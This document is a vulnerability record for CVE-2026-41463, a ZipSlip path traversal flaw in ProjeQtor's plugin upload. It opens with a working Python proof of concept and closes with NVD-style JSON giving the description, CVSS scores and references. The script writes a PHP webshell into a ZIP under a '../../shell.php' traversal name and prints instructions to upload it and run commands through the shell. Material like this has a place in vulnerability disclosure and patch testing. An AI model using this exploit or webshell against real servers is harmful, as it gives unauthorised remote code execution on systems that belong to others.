CVE-2026-41463

# Proof of Concept (PoC) for CVE-2026-41463 # This script generates a malicious ZIP file designed to exploit the ZipSlip vulnerability. import zipfile import os # The malicious PHP code to be executed webshell_content = '<?php system($_GET["cmd"]); ?>' # The path traversal sequence to write to the web root # Adjust the path based on the target structure (e.g., ../../www/) malicious_filename = '../../shell.php' # Create the malicious ZIP file zip_filename = 'exploit.zip' with zipfile.ZipFile(zip_filename, 'w') as zf: # Write the file with the traversal sequence zf.writestr(malicious_filename, webshell_content) print(f'[+] Malicious ZIP file created: {zip_filename}') print(f'[+] Upload this file via the Plugin Upload functionality in ProjeQtor.') print(f'[+] Access the shell at: /shell.php?cmd=whoami')

{"cve": {"id": "CVE-2026-41463", "sourceIdentifier": "[email protected]", "published": "2026-04-27T16:16:45.493", "lastModified": "2026-04-27T18:36:19.637", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ProjeQtor versions 7.0 through 12.4.3 contain a ZipSlip path traversal vulnerability in the plugin upload functionality that allows authenticated attackers with upload permissions to write files outside the intended extraction directory by crafting ZIP archives with directory traversal sequences. Attackers can exploit unvalidated archive extraction to write a PHP webshell to a web-accessible directory and achieve remote code execution with the privileges of the web server process."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://damiri.fr/en/cves/CVE-2026-41463", "source": "[email protected]"}, {"url": "https://gryfman.fr/cves/CVE-2026-41463", "source": "[email protected]"}, {"url": "https://www.projeqtor.com", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/projeqtor-zipslip-path-traversal-via-uploadplugin-php", "source": "[email protected]"}]}}